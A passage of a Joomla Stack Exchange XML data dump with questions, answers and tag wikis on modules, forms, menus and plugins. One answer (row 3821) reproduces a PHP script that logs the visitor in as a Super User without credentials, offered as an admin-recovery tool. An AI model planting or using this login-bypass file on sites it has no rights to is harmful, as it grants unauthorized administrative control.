  <row Id="3811" PostTypeId="5" CreationDate="2014-07-30T18:02:33.433" Score="0" Body="&lt;h2&gt;Module&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The &lt;strong&gt;Joomla module tag&lt;/strong&gt;, would be useful for questions related to Joomla module development. As mentioned by the &lt;a href=&quot;http://docs.joomla.org/Module&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;official Joomla Module documentation&lt;/strong&gt;&lt;/a&gt;, the easiest extension to create is probably a module, which can be as simple as printing the current date and time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Despite being small and websites can work without modules, Joomla has allowed very important functionalities to be handled by modules, like Menus (&lt;code&gt;mod_mainmenu&lt;/code&gt;), Search (&lt;code&gt;mod_search&lt;/code&gt;), and even Custom HTML modules (&lt;code&gt;mod_custom&lt;/code&gt;) that allow direct HTML input for the unexperienced to write their own HTML in their sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To include a module inside an article, Joomla offers a default plugin to do this, but you have to include a full module position. Example code is: &lt;code&gt;{loadposition: module_pos}&lt;/code&gt; where &lt;code&gt;module_pos&lt;/code&gt; is the module position that you want to include.&lt;br&gt;&#xA;Please note that you can add custom module positions, just by writing the desired position name in the &lt;code&gt;position&lt;/code&gt; field of the module, instead of selecting from the existing list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more information on how to create Joomla modules, &lt;a href=&quot;http://docs.joomla.org/Creating_a_simple_module&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;please read here&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;http://joomla.stackexchange.com/questions/655/how-do-you-make-a-new-module&quot;&gt;How do you make a new module?&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T15:26:11.567" LastActivityDate="2015-08-21T15:26:11.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3812" PostTypeId="4" CreationDate="2014-07-30T18:02:33.433" Score="0" Body="A Joomla module is an extension that offers certain functionality to a site, usually to present small pieces of information, in specified locations of the site (e.g. latest or popular articles), that is not supposed to serve as the main content, and is placed in the available module positions, around the component content output (e.g. sidebar, footer etc)." OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T14:42:35.530" LastActivityDate="2015-08-21T14:42:35.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3813" PostTypeId="2" ParentId="3550" CreationDate="2014-07-30T19:27:22.987" Score="1" Body="&lt;p&gt;I do this regularly with BreezingForms (1.8.x), what kind of problem did you run into?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Create a File upload field&lt;/li&gt;&#xA;&lt;li&gt;Switch to the &quot;Advanced&quot; tab&lt;/li&gt;&#xA;&lt;li&gt;Select &quot;Attach to admin mail(s)&quot;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If the user uploads a file, it will be stored on your server AND added to the admin email.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pMJht.jpg&quot; alt=&quot;Attach to admin mail(s)&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-07-30T19:27:22.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3814" PostTypeId="1" CreationDate="2014-07-30T20:21:09.373" Score="0" ViewCount="1262" Body="&lt;p&gt;I recently upgraded my site from Joomla 3.3.1 to Joomla 3.3.3.  When I did this the menu items in my footer that were aliases of other menu items stopped working.  The only one that still works points at the &quot;main&quot; menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if this is by design? If not, is there a work around?  Obviously I would like to keep the aliases in place so that if I need to change an address on the site I only have to change it in one place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1667" LastActivityDate="2014-08-01T06:59:34.657" Title="Menu Item Aliases stopped working Joomla 3.3.3" Tags="|joomla-3.3.x|menu|menu-item|alias|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3815" PostTypeId="1" CreationDate="2014-07-31T07:14:04.883" Score="0" ViewCount="112" Body="&lt;p&gt;I faced a strange issue with Joomla default Articles option with custom module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In joomla article section when I enter some text like &#xA;Price is &lt;code&gt;$20&lt;/code&gt;  its not displaying on the site front end. When I use with a space &lt;code&gt;$ 20&lt;/code&gt; It  works fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This article is showing on the front end with custom module, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like this article content is reading from DB using a custom module and out put like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $fullArticle = JHtml::_('content.prepare', $values-&amp;gt;introtext); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This module is loading inside another article with &lt;code&gt;{loadposition mypostion}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I put $20 directly in any other article its works fine, I think using custom module and loading position time the Joomla thinks &lt;code&gt;$20&lt;/code&gt; as a variable or something ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help me to resolve this issue!&lt;/p&gt;&#xA;" OwnerUserId="138" LastActivityDate="2014-07-31T08:16:01.763" Title="Article Content formatting Issue with modules" Tags="|articles|module|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3816" PostTypeId="2" ParentId="3806" CreationDate="2014-07-31T07:24:03.560" Score="4" Body="&lt;p&gt;Not really, you're doing it right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also need to load the administrator table model (legacy?, are you using J2.5 or 3?). This happens when you need the models outside of your component, not for the views only.  In this case, you might want to drop the &lt;code&gt;JPATH_COMPONENT_ADMINISTRATOR&lt;/code&gt; constant which would prevent using the models from outside the component.  And ensure you are loading the legacy classes with the framework to prevent issues when the legacy classes are moved (they just changed their filesystem location in J 3.3)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach - possibly nicer and easier - would be to inherit the frontend model from the admin model and keep the views simpler.  This works because the &lt;code&gt;JModelAdmin&lt;/code&gt; extends the &lt;code&gt;JModelForm&lt;/code&gt;.&#xA;Your frontend models would be nearly empty, and you would get a chance to offset there the code that is related to the frontend, keeping the architecture nicer.&lt;/p&gt;&#xA;" OwnerUserId="377" LastActivityDate="2014-07-31T07:24:03.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3818" PostTypeId="2" ParentId="3815" CreationDate="2014-07-31T08:16:01.763" Score="1" Body="&lt;p&gt;I haven't looked at the function for &lt;code&gt;loadposition&lt;/code&gt; but as you said, it would seem it's being treated as a variable. I would normally say echo it in single quotes but as this is HTML that isn't appropriate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you can do is, use the a HTML Entity. So rather than using &lt;code&gt;$&lt;/code&gt;, use &lt;code&gt;&amp;amp;#36;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-07-31T08:16:01.763" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="3819" PostTypeId="2" ParentId="3786" CreationDate="2014-07-31T10:40:08.650" Score="4" Body="&lt;p&gt;I think you will need &lt;code&gt;onContentPrepareForm()&lt;/code&gt; for that, then you can load your fields in it. &lt;a href=&quot;http://docs.joomla.org/Creating_a_profile_plugin&quot; rel=&quot;nofollow&quot;&gt;Here&lt;/a&gt; is a good tutorial how to make it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To attach a js onclick event to the submit form, you will need to &lt;a href=&quot;http://docs.joomla.org/How_to_override_the_output_from_the_Joomla!_core&quot; rel=&quot;nofollow&quot;&gt;override&lt;/a&gt; form &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/components/com_users/views/registration/tmpl/default.php&quot; rel=&quot;nofollow&quot;&gt;template&lt;/a&gt; and put your JS code inside.&lt;/p&gt;&#xA;" OwnerUserId="3" LastActivityDate="2014-07-31T10:40:08.650" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3820" PostTypeId="2" ParentId="3638" CreationDate="2014-07-31T20:40:46.747" Score="1" Body="&lt;p&gt;I'm going to second @MOLEDesign and say that using Community Builder for this purpose is going to cause you more headaches in the long run than it will solve problems in the short term.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's worth your time (and a small fee) to get a proper forms component and learn how to use it. It's knowledge you can use here and on every other project you work on in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll throw in my suggestion for &lt;a href=&quot;http://www.rsjoomla.com/joomla-extensions/joomla-form.html&quot; rel=&quot;nofollow&quot;&gt;RSForm Pro&lt;/a&gt;. It has handled everything I've ever needed in a form component, and it's not difficult for clients to get useful data and reports out of after I've handed the project off.&lt;/p&gt;&#xA;" OwnerUserId="1717" LastActivityDate="2014-07-31T20:40:46.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3821" PostTypeId="2" ParentId="163" CreationDate="2014-07-31T22:19:55.013" Score="4" Body="&lt;p&gt;There's also a tool available for Joomla 2.5 (haven't tested with Joomla 3): &lt;a href=&quot;http://myext.eu/en/j25-login&quot; rel=&quot;nofollow&quot;&gt;http://myext.eu/en/j25-login&lt;/a&gt;&#xA;It's simply a PHP file that you upload to your /administrator/ folder and visit in your browser.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Log in as Super admin without account&lt;/strong&gt;&lt;br /&gt;&#xA;  How to: Сopy the file in &quot;administrator&quot; and go to [your_site]/administrator/log.php&lt;br /&gt;&#xA;  &lt;strong&gt;WARNING: remove the file after use!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The contents of the PHP file is this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define('_JEXEC', 1);&#xA;define('DS', DIRECTORY_SEPARATOR);&#xA;&#xA;if (file_exists(dirname(__FILE__) . '/defines.php')) {&#xA;    include_once dirname(__FILE__) . '/defines.php';&#xA;}&#xA;&#xA;if (!defined('_JDEFINES')) {&#xA;    define('JPATH_BASE', dirname(__FILE__));&#xA;    require_once JPATH_BASE.'/includes/defines.php';&#xA;}&#xA;&#xA;require_once JPATH_BASE.'/includes/framework.php';&#xA;require_once JPATH_BASE.'/includes/helper.php';&#xA;require_once JPATH_BASE.'/includes/toolbar.php';&#xA;$app = JFactory::getApplication('administrator');&#xA;JPluginHelper::importPlugin('user');&#xA;$user = JUser::getInstance();&#xA;$db = JFactory::getDBO();&#xA;$q = 'SELECT u.* FROM `#__users` as u&#xA;        LEFT JOIN `#__user_usergroup_map` as ug ON u.id = ug.user_id&#xA;        WHERE `block` = 0 AND `activation` = 0 AND ug.group_id = 8&#xA;        LIMIT 0,1';&#xA;$db-&amp;gt;setQuery($q);&#xA;&#xA;$user_tmp = $db-&amp;gt;loadObject();&#xA;$user_tmp-&amp;gt;guest = 0;&#xA;$user_tmp-&amp;gt;isRoot = 1;&#xA;// $user_tmp-&amp;gt;groups = array(8=&amp;gt;8);&#xA;// $user_tmp-&amp;gt;_authGroups = array(1,8);&#xA;// $user_tmp-&amp;gt;_authLevels = array(1,1,2,3);&#xA;// $user_tmp-&amp;gt;gid = 1000;&#xA;&#xA;foreach($user_tmp as $k=&amp;gt;$v){&#xA;    $user-&amp;gt;set($k,$v);&#xA;}&#xA;$session = JFactory::getSession();&#xA;$session-&amp;gt;set('user', $user);&#xA;$app = JFactory::getApplication();&#xA;$app-&amp;gt;checkSession();&#xA;$app-&amp;gt;redirect( JUri::base(), &quot;&quot; );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-07-31T22:19:55.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3822" PostTypeId="1" AcceptedAnswerId="3828" CreationDate="2014-08-01T01:13:06.340" Score="2" ViewCount="138" Body="&lt;p&gt;I'm completely baffled!  I'm trying to load Custom Fields to a Category as I've successfully done in the past, and explained in this &lt;a href=&quot;https://joomla.stackexchange.com/questions/2395/how-to-save-custom-fields-in-core-components&quot;&gt;question/answer&lt;/a&gt;.  It works as expected until I try to load a different form depending on some criteria about the category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both cases (conditionally and unconditionally), &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;The form loads&lt;/li&gt;&#xA;&lt;li&gt;Existing data is retrieved/loaded&lt;/li&gt;&#xA;&lt;li&gt;When saving, $_POST contains the custom data&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;However, if a form is loaded &lt;em&gt;conditionally&lt;/em&gt;, it loads as expected, but doesn't save it. Not only does it not save, but the data that was originally loaded is no longer there!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My first thought was that a default form name was required, but it was able to determine the correct form to load the page and parse the data to post correctly, so I'm a a dead standstill on what could be wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&lt;code&gt;$_POST&lt;/code&gt; variable when saving: (in both cases)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Array&#xA;(&#xA;    [category_layout] =&amp;gt; &#xA;    [image] =&amp;gt; &#xA;    [my_pse] =&amp;gt; P&#xA;    [my_extra1] =&amp;gt; 1&#xA;    [my_extra2] =&amp;gt; 22&#xA;    [my_extra3] =&amp;gt; 333&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Code from &lt;code&gt;onContentPrepareForm&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;The &lt;code&gt;if(true)&lt;/code&gt; test is simply to easily toggle between the two blocks of code.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(true) {&#xA;    // Unconditional loading does everything as expected:&#xA;    // It Saves/Retrieves to/from #__categories.params&#xA;    JForm::addFormPath(__DIR__ . '/forms');&#xA;    $form-&amp;gt;loadFile('customfields2', false);&#xA;    return true;&#xA;}else{&#xA;    // Conditional loading does everything as expected EXCEPT:&#xA;    // It does not save it #__categories.params&#xA;    if($pse=='P') {&#xA;        JForm::addFormPath(__DIR__ . '/forms');&#xA;        $form-&amp;gt;loadFile('customfields1', false);&#xA;        return true;&#xA;    }elseif($pse=='S'){&#xA;        JForm::addFormPath(__DIR__ . '/forms');&#xA;        $form-&amp;gt;loadFile('customfields2', false);&#xA;        return true;&#xA;    }elseif($pse=='E') {&#xA;        JForm::addFormPath(__DIR__ . '/forms');&#xA;        $form-&amp;gt;loadFile('customfields3', false);&#xA;        return true;&#xA;    }else{&#xA;        return true;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2014-08-01T14:28:56.427" Title="Content Plugin loadfile loads CONDITIONAL form/data, but does not save the data - why not?" Tags="|development|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3823" PostTypeId="1" AcceptedAnswerId="3837" CreationDate="2014-08-01T04:25:54.347" Score="1" ViewCount="2012" Body="&lt;p&gt;I have a problem in joomla backend. When I try to create click or create anything like new &#xA;article or category, it shows blank page and nothing appears, no errors shows. Since I am a &#xA;beginner of joomla so I cannot find out problem in easy way, Hope this community help me out.&lt;/p&gt;&#xA;" OwnerUserId="1718" LastActivityDate="2014-08-02T00:10:52.290" Title="Shows blank page when creating new article or new category" Tags="|component|.htaccess-configuration|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3825" PostTypeId="2" ParentId="3814" CreationDate="2014-08-01T06:59:34.657" Score="1" Body="&lt;p&gt;You could always just create a duplicate menu module instead of creating a duplicate menu.  You can limit the levels shown to make sure you only see top level menu items for a footer.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2014-08-01T06:59:34.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3826" PostTypeId="2" ParentId="3803" CreationDate="2014-08-01T07:14:25.983" Score="1" Body="&lt;p&gt;Have you tried modifying the K2 options for SEF?&#xA;Should work with 2.6.5+&lt;/p&gt;&#xA;&#xA;&lt;p&gt;directions:&#xA;Go to Components / K2&#xA;Click the Parameters button top right&#xA;A window opens up - click the Advanced tab&#xA;Scroll down to Advanced SEF Settings&#xA;Enable advanced SEF for K2 URL's - Yes&#xA;Use the item ID in the URL - No &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not entirely sure it will help your specific issue but place to start.&lt;/p&gt;&#xA;" OwnerUserId="188" LastActivityDate="2014-08-01T07:14:25.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3827" PostTypeId="1" CreationDate="2014-08-01T13:49:28.600" Score="3" ViewCount="290" Body="&lt;p&gt;I'm maintaining a few software support sites in Joomla where parts of the content is web-formatted copies of user manuals and technical documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since the source for this information is stored under version control (SVN, Git, ...) it is quite tedious to manually update the same information by logging in to the Joomla admin and manually finding the things that need to be changed, not to mention to even remember to do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can automate the generation of HTML-source suitable as an article in Joomla. But how can I remotely, from a script, update particular articles in an existing Joomla site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Remote update of the DB tables? Doesn't feel stable and safe enough.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any other options?&lt;/p&gt;&#xA;" OwnerUserId="1720" LastActivityDate="2014-08-01T18:28:41.603" Title="Is it possible to update an article remotely?" Tags="|articles|update|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3828" PostTypeId="2" ParentId="3822" CreationDate="2014-08-01T14:28:56.427" Score="3" Body="&lt;p&gt;As posted, the question is basically unanswerable because it was due to a coding error that didn't seem relevant to the question.  My first inclination was to delete the question, but I thought the reason for the coding error was interesting enough for anyone that might encounter a similar problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In short, my code to determine which type of form I wanted to load was referencing &lt;code&gt;$data&lt;/code&gt;, and was quietly getting the following error when Joomla called the plugin function during the save process:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Notice: Trying to get property of non-object in myplugin\myplugin.php on line 12&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Presumably, this was preventing the form from loading somewhere upstream, and Joomla simply didn't know what to do with the form data, so dropped it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this error occurring only during the save is that &lt;code&gt;$data&lt;/code&gt; being passed to the &lt;code&gt;onContentPrepareForm&lt;/code&gt; function &lt;em&gt;is empty when called during the save&lt;/em&gt;.  This doesn't seem &quot;right&quot; to me, thus my assumption that it was there, but nonetheless, that's why there was a warning notice fired, which caused the function to fail, and ultimately the form data to be lost.&lt;/p&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-08-01T14:28:56.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3831" PostTypeId="5" CreationDate="2014-08-01T15:57:58.037" Score="0" Body="&lt;h1&gt;MySQL&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;MySQL is a database system used by many websites on the Internet. Joomla is based on PHP and MySQL.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;History&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;MySQL was first released in May 1995 and a Windows version was released in January 1998. The latest version (5.6.20) was released in July 2014.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Compatibility&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;MySQL is compatible with many major programming languages. The most common one is PHP. An ODBC interface (called MyODBC) has been made so that users of Microsoft's ASP language can use MySQL.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Resources&lt;/h3&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://www.mysql.com&quot; rel=&quot;nofollow&quot;&gt;MySQL Home&lt;/a&gt;&lt;/strong&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;http://dev.mysql.com/doc/&quot; rel=&quot;nofollow&quot;&gt;MySQL Documentation&lt;/a&gt;&lt;/strong&gt;  &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="126" LastEditDate="2015-08-21T15:37:41.340" LastActivityDate="2015-08-21T15:37:41.340" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3832" PostTypeId="4" CreationDate="2014-08-01T15:57:58.037" Score="0" Body="MySQL is a database system used by many websites on the Internet. Joomla is based on PHP and MySQL." OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-02T19:12:03.123" LastActivityDate="2014-08-02T19:12:03.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3833" PostTypeId="2" ParentId="2351" CreationDate="2014-08-01T17:56:28.447" Score="3" Body="&lt;p&gt;Change &lt;code&gt;document.fileupload.doc_type.value&lt;/code&gt; to &lt;code&gt;document.getElementById('file').value&lt;/code&gt;. Also, you're checking if the value is &lt;code&gt;&quot;&quot;&lt;/code&gt; AND &lt;code&gt;null&lt;/code&gt;, I'm not sure if that is possible. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unless you need to verify the file format etc., try something simpler like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form onsubmit=&quot;return(validate());&quot; name=&quot;file_up_form&quot; method=&quot;post&quot; name=&quot;fileupload&quot; enctype=&quot;multipart/form-data&quot; &amp;gt;&#xA;    &amp;lt;div class=&quot;field_container1 thumbnail span3&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;select_option&quot;&amp;gt;Select option here&amp;lt;/label&amp;gt;&#xA;        &amp;lt;select name=&quot;doc_type&quot; id=&quot;select_option&quot; style=&quot;width: 200px;&quot; multiple&amp;gt;&#xA;            &amp;lt;option value=&quot;1&quot;&amp;gt;Education&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;2&quot;&amp;gt;Certification&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;3&quot;&amp;gt;Client Paperwork&amp;lt;/option&amp;gt;&#xA;            &amp;lt;option value=&quot;4&quot;&amp;gt;Invoice&amp;lt;/option&amp;gt;&#xA;        &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;field_container thumbnail span4&quot;&amp;gt;&#xA;        &amp;lt;label for=&quot;file&quot;&amp;gt;Upload here: &amp;lt;/label&amp;gt;&#xA;        &amp;lt;input type=&quot;file&quot; name=&quot;file&quot; id=&quot;file&quot;&amp;gt;&#xA;        &amp;lt;input class=&quot;btn btn-primary&quot; type=&quot;submit&quot; value=&quot;submit&quot; name=&quot;submit&quot;&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;check&quot; value=&quot;1&quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;JavaScript&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt; &#xA;    function validate() &#xA;    { &#xA;        if(!document.getElementById('file').value) &#xA;        { &#xA;            alert( &quot;Please provide your document!&quot; ); &#xA;        } &#xA;        return false; &#xA;    } &#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Shouldn't you also return &lt;code&gt;false&lt;/code&gt; (not &lt;code&gt;true&lt;/code&gt; as you currently do) if no file is selected to stop the form from being submitted? The &lt;code&gt;&amp;lt;form&amp;gt;&lt;/code&gt; tag should probably include an &lt;code&gt;action&lt;/code&gt; parameter too.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2014-08-01T17:56:28.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3834" PostTypeId="2" ParentId="3827" CreationDate="2014-08-01T18:28:41.603" Score="2" Body="&lt;p&gt;I've got a few suggestions that I've done in the past&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;We added a jQuery page to our B/E for these kinds of utilities, using &lt;code&gt;$.post&lt;/code&gt;, we mimic various POSTs that Joomla performs when saving Articles, Categories, etc.  The trick to this is insuring that that you include the Joomla Token in the POST so that it authenticates properly&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Check this &lt;a href=&quot;http://extensions.joomla.org/extensions/migration-a-conversion/data-import-a-export/10735&quot; rel=&quot;nofollow&quot;&gt;Extension&lt;/a&gt; (or similar) to upload your new article content via a spreadsheet.  This one is free, so it might be a good starting point if you want to use a source other than an excel spreadsheet.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Also, we wrote an email handling task a few years back for the site that checked a mailbox for &quot;special&quot; email content that it recognized as content for the site, and it updated with that.  It's quite dated, so sharing the code would be pointless, but it worked pretty good.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="64" LastActivityDate="2014-08-01T18:28:41.603" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3835" PostTypeId="2" ParentId="2496" CreationDate="2014-08-01T18:50:42.023" Score="1" Body="&lt;p&gt;If you add an image to your category description, and set the module parameter &quot;Category Description&quot; to yes, the description (if any) AND the image will be displayed in your module without any overrides.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to add the category image somewhere else (e.g. above the title), you could try this in your override file &lt;code&gt;template/my-template/html/mod_articles_categories/&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  $string = $item-&amp;gt;description;&#xA;    $beg = substr($string,strpos($string,&quot;&amp;lt;img&quot;),strlen($string));&#xA;    //$catimg = substr($beg,0,$pos_srch = strpos($beg,&quot;&amp;gt;&quot;));&#xA;    $catimg = substr($beg,0,$pos_srch = strpos($beg,&quot;&amp;gt;&quot;));&#xA;  echo $catimg;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will echo the first image from the category description, including the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastEditorUserId="1629" LastEditDate="2014-08-01T22:38:00.697" LastActivityDate="2014-08-01T22:38:00.697" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3836" PostTypeId="1" CreationDate="2014-08-01T20:49:10.820" Score="0" ViewCount="4577" Body="&lt;p&gt;I've found a free template compatible with both Joomla 2.5 and Joomla 3.X at &lt;a href=&quot;http://www.optimumtheme.com/themes/bedava-theme.html#download&quot; rel=&quot;nofollow&quot;&gt;this link&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the page there is a quickstart archive that contains the Joomla setup and the template files built-in to easily get a website similar to the demo showed. I copied all the files in that archive in my web space for a new installation (hosting Linux, MySQL database, PHP version 5.3.28). The installation stucks on the first page. When I click &quot;Next&quot; after having filled the form (site name, admin credentials, etc) the setup doesn't go to the following page (the database one) and is locked in a infinite loading. Is this a known incompatibility with my PHP version and that Joomla package? I don't get this problem with a clean installation of the latest Joomla release followed by the installation of the standalone template, but I'd like to use the quickstart since my web page will be exactly the same as the demo.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the easiest wat to get a web page similar to the demo? Is it possible to move some folders from the quickstart archive to the latest joomla setup to achieve the same result?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's the second time I use this CMS so I'm absolutely not expert (this is the reason why I tried to find a ready-to-go template). Thanks for your help.&lt;/p&gt;&#xA;" OwnerUserId="1722" LastActivityDate="2015-03-10T12:30:38.220" Title="Installation stuck on first page while installing Joomla 3.x with free template built-in" Tags="|installation|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3837" PostTypeId="2" ParentId="3823" CreationDate="2014-08-01T21:25:17.867" Score="5" Body="&lt;p&gt;I would say it is probably a system plugin, so you have nonumber installed? Reinstall it if you do. What version of Joomla is it? Try to update it if it is not at least close to the latest version, many extensions assume you have the latest version of whatever branch you are using (as in 2.5 or 3.x). If you update within your branch it usually does not cause much of an issue, a backup is always good though, just in case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to disable system plugins (given that its articles with the issue, content plugins could be a factor too) that you can, what kind of components to you have? Those are where some system plugins may be added and will probably be named in a way that will make them stand out as part of the component. You can disable plugins in &lt;code&gt;Extensions -&amp;gt; Plugin Manager&lt;/code&gt;. There is a dropdown that will let you select the type of plugin and system is in that 